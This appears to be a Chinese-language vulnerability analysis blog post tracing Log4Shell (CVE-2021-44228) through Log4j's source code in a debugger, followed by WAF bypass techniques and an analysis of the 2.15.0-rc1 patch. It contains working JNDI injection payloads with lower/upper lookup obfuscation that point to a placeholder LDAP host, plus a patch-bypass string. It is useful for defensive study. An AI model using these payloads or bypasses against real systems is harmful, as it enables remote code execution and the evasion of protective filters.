環境搭建
https://github.com/tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce
直接用idea打開,build即可
然後運行即可,成功觸發漏洞
漏洞跟蹤
跟蹤漏洞觸發函數
發現接口org/apache/logging/log4j/Logger.java error
查看接口實現方法 org/apache/logging/log4j/spi/AbstractLogger.java
跟蹤logIfEnabled()函數的邏輯
跟蹤到tryLogMessage時,通過靜態查找log函數,是不對的,通過動態跟蹤更加準確,後面分析感覺是因爲跨組件了,所以用idea的搜索搜出來不對
動態debug調試會跳到org/apache/logging/log4j/core/Logger.java
繼續跟進最終會走到org/apache/logging/log4j/core/config/LoggerConfig.java
452行的一個三元表達式,這裏三元表達式的2個分支實現原理都是一樣的,不同點是做了強轉,最終都是調用了logEventFactory.createEvent()
函數,並將其中的參數統一set到logEvent的返回值中,當然poc也存在了其中
繼續跟進,發現將保存有poc的event參數傳入了org/apache/logging/log4j/core/config/LoggerConfig.java
的callAppenders()中
繼續跟進發現在org/apache/logging/log4j/core/layout/PatternLayout.java
處會進行format操作,此次調試中再i爲8時會進入觸發poc
跟進後步入了org/apache/logging/log4j/core/pattern/MessagePatternConverter.java
中的config.getStrSubstitutor()函數中,並且傳入的value參數根據字符串中存在${
的邏輯進行階段,因爲config是動態賦值的,靜態根據找不到對應的類,此處在動態調試步入後就直接觸發漏洞,點擊紅色的步入Force step into
可以繼續查看邏輯
進入了StrSubstitutor
後發現在org/apache/logging/log4j/core/config/AbstractConfiguration.java
直接返回了個subst
參數,對該參數進行分析
發現是調用的StrSubstitutor
類,並且傳入的是一個StrLookup
變量
查看StrSubstitutor
的邏輯,org/apache/logging/log4j/core/lookup/StrSubstitutor.java
發現在初始化時如果只有一個變量,會調用自己的另一個構造方法,並帶上3個默認的參數,後續邏輯爲對幾個參數值進行賦值到返回的subst
參數中
這裏帶4個參數的構造方法有2個,而DEFAULT_PREFIX
參數是StrMatcher類,因此會跳到下方的函數
之後會調用帶有6個參數的構造方法,setValueDelimiterMatcher
的值爲:-
傳入的這5個參數分別對應 $
,{
,}
,:-
,:\-
的字符,這些字符除了:-
在後面繞waf的poc中有體現
繼續跟入org/apache/logging/log4j/core/lookup/StrSubstitutor.java
的replace
函數,該函數不是字符串的replace,是自定義的replace函數
跟進處理邏輯,發現將類中的特殊字符取出來,後續進行刪除字符操作
進行處理後會走到resolveVariable
函數
該函數會將event和variableName傳入lookup函數中,lookup一般是java反序列化遠程加載類的一個重要函數名
這裏的resolver可以是支持以下類型,而我們的遠程加載類型jndi在裏面,繞waf的poc的lower也在裏面,因此可以通過lower來繞waf
最終跟進,進入到org/apache/logging/log4j/core/lookup/Interpolator.java
中的lookup
函數,並且傳入的variableName是截取的poc,最終調用java的lookup觸發遠程加載實現反序列化,但這裏不是加載的name的值,因爲event值不會null,則會調用lookup.lookup(event, name)
函數或者進入defaultlookup.lookup()
函數
最終觸發點使用了jndimanager加載遠程資源
調用java原生態lookup
WAF BYPASS手法
在代碼分析過程中,發現會對$
,{
,}
,:-
,:\\-
有處理,則將這類特殊符號插入poc中任然可以讓邏輯將這些符號吞掉,執行代碼定義StrSubstitutor(x,x,x,x)
時會傳入4個參數,會調用自身傳入6個參數的構造方法
可以看到下面的處理邏輯:-
進入了配置,而:\-
並沒有進入配置,所以這也就是無法用:\-
來繞過waf的原因
在處理字符串的代碼塊中也將該值提取出來,並進行截取
在進行對字符串進行遞進檢測時,會將${}內容分成多個小塊,然後會截取xxxxx:-
的內容爲varName,之後的內容j爲varDefaultValue
在進行對字符串進行遞進檢測時,會將${}內容分成多個小塊,第一次切割會去掉最外面的${}
第二次切割掉${j}
的${}
,並將j放入循環
截取的小塊內容會在之後的buf.replace進行還原拼接,但前提是該小塊內容需要有:-
或者{協議}:
這樣的參數才能進入到拼接的邏輯中
這也就是爲什麼可以使用以下poc
${${xx:-j}ndi:ldap://xxx.xx/a}
而使用lower:協議,會讓varVaule在進入resoverVariable時返回值就爲協議後的內容,也會順利進入buf.replace中
跟蹤log4j的StrLookup方法會調用到lower專屬的lookup解析方式org/apache/logging/log4j/core/lookup/LowerLookup.java
最後返回小寫字母,因此返回值也不會爲null,會進入到拼接的判斷中
因此可以這麼寫poc
${${lower:j}ndi:ldap://xx.xx/a}
還可以處理字符串的協議有
${${upper:j}ndi:ldap://xx.xx/a}
協議會被統一處理成小寫因此,可以寫成
${${loWeR:j}ndi:ldap://xx.xx/a}
修復
log4j漏洞影響版本在 <=1.14.1,但是網上說在log4j-2.15.0-rc1仍然可以繞過,於是出了rc2
2.15.0-rc1在默認配置下安全,但如果配置文件中開啓了lookup功能則存在問題,在最終觸發點處org/apache/logging/log4j/core/net/JndiManager.java
,和2.14.1不同的在於,他進行了一系列的對協議內容的檢測
但catch處並沒有return,則只要try裏面的內容報錯,則這段過濾就沒用,繞過方法則讓下面一行報錯
URI uri = new URI(name);
使用空格來處理url則會報錯,但最終還是會解析
${jndi:ldap://xx.xx/ a}
rc2則在catch處增加了return,就沒問題了
2.15.0正式版之後,對${}的處理代碼結構已經完全改變,漏洞無法走到該邏輯處